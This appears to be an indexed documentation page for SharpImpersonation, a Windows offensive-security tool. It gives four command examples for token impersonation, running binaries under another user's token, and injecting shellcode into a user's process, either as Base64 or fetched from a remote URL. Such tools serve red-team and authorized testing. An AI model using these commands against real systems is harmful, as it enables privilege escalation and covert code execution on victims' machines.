SharpImpersonation Documentation

repository·main·Indexed 19 days ago

https://github.com/s3cur3th1ssh1t/sharpimpersonation

A tool for user impersonation and process injection. It enables listing user and elevated processes, executing binaries under a target user's token, and injecting shellcode via Base64 strings or remote URLs into target user processes.

Tokens
474
Snippets
6
Records
6
Agent score
15%

What's inside SharpImpersonation

  1. Impersonate a target user via ImpersonateLoggedOnuser

    main

    Impersonate a target user for the current session using the ImpersonateLoggedOnuser technique. Specify the target user with the user: parameter and set the technique: parameter to ImpersonateLoggedOnuser.

    SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
  2. Inject Base64 encoded shellcode into a user process

    main

    Inject shellcode directly into the first process of a target user by providing the username and the shellcode as a Base64 encoded string using the user: and shellcode: parameters.

    SharpImpersonation.exe user:<user> shellcode:<base64shellcode>
  3. Impersonate a user to start a new binary

    main

    You can impersonate the first process found belonging to a specific user and use that token to execute a new binary. Provide the target username via the user: parameter and the full path to the executable via the binary: parameter.

    SharpImpersonation.exe user:<user> binary:<binary-Path>
  4. Inject shellcode from a webserver into a user process

    main

    Inject shellcode into the first process of a target user by downloading it from a remote URL. Use the user: parameter for the target username and the shellcode: parameter to provide the URL of the shellcode payload.

    SharpImpersonation.exe user:<user> shellcode:<URL>